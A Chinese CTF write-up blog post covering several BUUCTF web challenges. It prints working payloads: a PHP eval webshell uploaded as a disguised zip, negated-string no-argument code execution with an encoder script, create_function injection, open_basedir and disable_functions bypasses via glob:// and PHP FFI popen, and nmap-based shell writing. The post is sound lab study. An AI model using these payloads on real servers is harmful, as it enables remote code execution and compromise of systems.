BUU复现记录

复现记录

[极客大挑战 2020]Roamphp2-Myblog

考点:

  • session登录绕过

  • zip://协议利用

一个blog界面,url有个page,猜测是文件包含,先把源码读出来,

%title插图%num

admin/user.php这里是关键代码,

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
    if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
        $logined = true;
        $_SESSION['status'] = $logined;
    }
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
    die();
}
?>

<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
    $tmp_file = $_FILES['Files']['name'];
    $tmp_path = $_FILES['Files']['tmp_name'];
    if(($extension = pathinfo($tmp_file)['extension']) != ""){
        $allows = array('gif','jpeg','jpg','png');
        if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
                $upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
                move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
                echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
        } else {
            echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
        }
    }
}
?>

先看登录判断,限制username=Longlone,password=$_SESSION['password']的值,

%title插图%num

这里抓包,将password和session置空就能直接绕过,

%title插图%num

%title插图%num

找到上传点,是一个白名单,结合文件包含,可以想到利用上传图片马+文件包含getshell,

这里有个问题就是,page包含的文件会在结尾加php拓展名,可以利用zip://伪协议绕过

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
zip:// [压缩文件绝对路径]%23[压缩文件内的子文件名]

写个一句话

<?php
eval($_POST[1]);
phpinfo();
?>

然后压缩成zip文件,把后缀改成jpg上传。

image-20210517165434111

[极客大挑战 2020]Roamphp4-Rceme

考点:

  • 无参数代码执行
  • [~(取反)][!%FF] 组成字符串

.index.php.swp,利用vim -r恢复源码

%title插图%num

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
    $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

    if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
        die('<script>alert(\'Captcha error~\');history.back()</script>');
    }
    $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
    $code = $_POST['cmd'];
    if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Longlone not like you~\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
}
?>

可知,存在代码执行,但是payload要符合一下几个条件:

  • payload不能为字母或数字
  • payload限制了长度,不能大于70。
  • payload的形式必须符合正则表达式 [^\s\(\)]+?\((?R)?\),也就是必须使用无参数函数,即 xxxxx(xxxxx(xxxxx())); 的形式。

对于第一个条件,我们可以用url取反绕过。对于第二和第三个条件,我们可以使用getallheaders() 这个函数进行无参数函数代码执行。

我们可以把User-Agent这个头改为我们要执行的命令,然后 system(next(getallheaders())) 即可取到这个命令并执行。 system(next(getallheaders())) 经过url取反后构造的字符串为:

通常情况下,取反操作我们都是这样构造的,但本题是无参数代码执行,所以不能这么写,我们可以用中括号数组的形式来构造字符,即:

[~%89%9E%8D%A0%9B%8A%92%8F][!%aa]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%aa]());

[%aa] 返回1,所以经过 ! 取反后就是0,这样便可以索引前面数组里的内容了,即 [~%89%9E%8D%A0%9B%8A%92%8F][!%aa] 可以取到数组里的 ~%89%9E%8D%A0%9B%8A%92%8F 了。除了 [%aa] 还有 [%FF] 也可以返回1,所以经过 ! 取反后的 [!%FF] 就是0。

def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]("

while 1:
    a = input(":>").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
    print(s)

%title插图%num

其他:

[~%8F%9E%8C%8C%8B%97%8D%8A][~%CF]() // passthru 使用passthru执行命令,结果直接输出到页面
[~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]() // getallheaders 获取请求头的全部header,返回一个数组
[~%9A%91%9B][~%CF]() // end 获取数组中的最后一个元素
passthru(end(getallheaders())) // 然后将要执行的命令写在请求头的最后一条即可

[极客大挑战 2020]Roamphp5-FighterFightsInvincibly

考点:

  • PHP FFI绕过disabled_function

%title插图%num

在源码发现hint

%title插图%num

$_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']);

能够动态执行代码,利用creat_function

create_function(string $args,string $code)//string $args 声明的函数变量部分//string $code 执行的方法代码部分

create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。

/?fighter=create_function&fights=&invincibly=;}eval($_POST[1]);/*

闭合前面的return然后执行一句话,注释后面语句

连蚁剑,但是没有权限

%title插图%num

应该是设置了open_basedir,授权目录设置,设置了用户能够访问的位置路径,我们可以先通过glob://伪协议来绕过open_basedir,看根目录,

glob:// — 查找匹配的文件路径模式
/?fighter=create_function&fights=&invincibly=;}$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};/*

循环/目录下所有文件

%title插图%num

存在readflag,我们无法执行命令,应该是disable_funciton,执行phpinfo();

%title插图%num

可以看到禁用了很多函数,

根据题目名字的描述,应该是让我们使用PHP 7.4 的FFI绕过disabled_function,并且我们在phpinfo中也看到FFI处于enable状态:

PHP 7.4 的 FFI(Foreign Function Interface),即外部函数接口,允许从用户在PHP代码中去调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数或其他能实现我们需求的函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。

FFI中可以直接调用php源码中的函数,比如这个php_exec函数就是php源码中的一个函数,当他参数type为3时对应着调用的是passthru函数,其执行命令可以直接将结果原始输出,payload如下:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*

%title插图%num

另一种解法:

调用C库的system函数:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int system(const char *command);");$ffi->system("ls / > res.txt");echo file_get_contents("res.txt");/*

C库的system函数执行是没有回显的,所以我么只能尝试写文件。但是执行后却发现有任何结果,可能是我们没有写文件的权限。所以,我们还要找别的C库函数。

C库的system函数调用shell命令,只能获取到shell命令的返回值,而不能获取shell命令的输出结果,如果想获取输出结果我们可以用popen函数来实现:

FILE *popen(const char* command, const char* type);

popen()函数会调用fork()产生子进程,然后从子进程中调用/bin/sh -c 来执行参数 command 的指令。

参数 type 可使用 “r”代表读取,”w”代表写入。依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。

所以,我们还可以利用C库的popen()函数来执行命令,但要读取到结果还需要C库的fgetc等函数。payload如下:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/* 

执行/readflag获取flag:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("/readflag","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/* 

[BUUCTF 2018]Online Tool

考点:

  • escapeshellarg和escapeshellcmd绕过
  • nmap写文件
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])) {    highlight_file(__FILE__);} else {    $host = $_GET['host'];    $host = escapeshellarg($host);    $host = escapeshellcmd($host);    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);    echo 'you are in sandbox '.$sandbox;    @mkdir($sandbox);    chdir($sandbox);    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);}

将ip md5加密,创建一个沙盒,绕过escapeshellargescapeshellcmd,利用nmap写shell,

nmap命令中 有一个参数 -oG 可以实现将命令和结果写到文件,

[INS'hAck 2019]Atchap

  • 邮件服务器漏洞

  • Tchap: The super (not) secure app of the French government

buu注册一个邮箱

发送自己的邮箱,提示,You're not whitelisted or not part of the company..

发送下面meet us的邮箱Samira.Bien@almosttchap.fr

You're not using your official address..

发送

yourmail@mail.com@Samira.Bien@almosttchap.fr

在邮箱中查看邮件中得到flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇